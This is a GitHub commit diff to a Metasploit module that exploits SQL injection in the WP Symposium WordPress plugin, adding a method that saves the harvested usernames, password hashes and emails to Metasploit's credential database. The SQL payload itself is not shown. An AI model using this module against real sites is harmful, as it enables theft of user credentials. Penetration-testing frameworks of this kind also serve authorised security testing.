Skip to content

Commit 90ec367

Browse files
committed
Add method to save creds to database
1 parent f0b5b5a commit 90ec367

File tree

1 file changed

+34
-0
lines changed

1 file changed

+34
-0
lines changed

modules/auxiliary/admin/http/wp_symposium_sql_injection.rb

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,32 @@ def send_sql_request(sql_query)
6565
end
6666
end
6767

68+
def report_cred(opts)
69+
service_data = {
70+
address: opts[:ip],
71+
port: opts[:port],
72+
service_name: opts[:service_name],
73+
protocol: 'tcp',
74+
workspace_id: myworkspace_id
75+
}
76+
77+
credential_data = {
78+
origin_type: :service,
79+
module_fullname: fullname,
80+
username: opts[:user],
81+
private_data: opts[:password],
82+
private_type: :nonreplayable_hash,
83+
}.merge(service_data)
84+
85+
login_data = {
86+
core: create_credential(credential_data),
87+
status: Metasploit::Model::Login::Status::UNTRIED,
88+
proof: opts[:proof]
89+
}.merge(service_data)
90+
91+
create_credential_login(login_data)
92+
end
93+
6894
def run
6995
vprint_status("#{peer} - Attempting to connect...")
7096
vprint_status("#{peer} - Trying to retrieve the first user id...")
@@ -103,6 +129,14 @@ def run
103129
user_email = values[2]
104130

105131
print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
132+
report_cred(
133+
ip: rhost,
134+
port: datastore['RPORT'],
135+
service_name: datastore['SSL'] ? 'https' : 'http',
136+
user: user_login,
137+
password: user_pass,
138+
proof: user_email
139+
)
106140

107141
credentials << "#{user_login},#{user_pass},#{user_email}\n"
108142
end

0 commit comments

Comments
 (0)